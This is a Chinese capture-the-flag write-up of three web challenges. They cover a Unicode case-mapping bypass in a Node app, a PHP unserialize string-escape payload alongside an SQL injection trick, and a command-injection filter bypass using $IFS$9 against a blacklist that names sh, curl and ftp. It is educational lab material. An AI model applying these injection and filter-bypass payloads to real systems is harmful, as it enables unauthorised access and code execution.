看源码发现需要增强攻击力后打Boss(即攻击力大于Boss的HP)获得Flag:
if(req.session.man.HP-req.session.boss.attack<=0) { res.send("you didn\'t kill boss at one time, so you have been killed by boss, just be stronger!"); }然后继续跟,在/admin路由处发现增强攻击力的代码:
if(name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN") { req.session.man.attack=300; res.send("you\'ve been stronger") }重点在于这里:
name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN这里考察unicode字符安全,算是一个小tirck吧,也可以百度到文章:
https://blog.5am3.com/2020/02/11/ctf-node1/
构造POST请求参数:
name=admın请求/admin之后提示攻击力增强:
访问/boss得到Flag:
unserialize
第一层SQL注入的一个小Trick,fuzz一下发现过滤了很多,但是双引号和=没有过滤,构造Payload:
"="得到源码:
<?php include(\'flag.php\'); error_reporting(0); function replace($payload){ $filter="/flag/i"; return preg_replace($filter,"nono!",$payload); }; $mss=$_GET[\'mss\']; $ctf[\'mss1\']=\'webwebweb\'; $ctf[\'mss2\']=\'pwnpwnpwn\'; if(isset($mss)){ if(strpos($mss,\'flag\')>=0){ $ctf[\'mss1\']=$mss; $ctf=unserialize(replace(serialize($ctf))); if($ctf[\'mss2\']==="webwebweb"){ echo $flag; }else{ echo "nonono!"; } } } else{ highlight_file(__FILE__); } ?>突破点在这里:
function replace($payload){ $filter="/flag/i"; return preg_replace($filter,"nono!",$payload); };这里的替换导致了字符串逃逸,思路就是利用字符串逃逸把mss2的值挤出去,构造目标mss的值,本地调一下:
<?php function replace($payload){ $filter="/flag/i"; return preg_replace($filter,"nono!",$payload); }; $ctf[\'mss1\']=\'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}\'; $ctf[\'mss2\']=\'pwnpwnpwn\'; var_dump(replace(serialize($ctf)));得到payload:
mss=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}Readme
过滤了空格,用$IFS$9替代,构造payload:
cat$IFS$9index.php得到index.php源码:
<?php error_reporting(0); $blacklist=[\'sh\',\' print \',\' printf \',\' cat \',\' open \',\' read \',\' vim \',\' curl \',\' ftp \',\' glob \',\'\|\',\'`\']; foreach ($blacklist as $blackitem) { if (preg_match(\'/\'.$blackitem.\'/\',$_GET[\'a\'])) { die("no no no"); }} system($_GET[a]); ?>同样办法读一下根目录文件,重点在于/readflag,尝试执行发现,发现需要输入参数y,然后就考虑用php交互,测试了一下发现/tmp目录有可写权限,然后就是构造exp来执行/readflag,RCTF2020里面也有过类似的考点。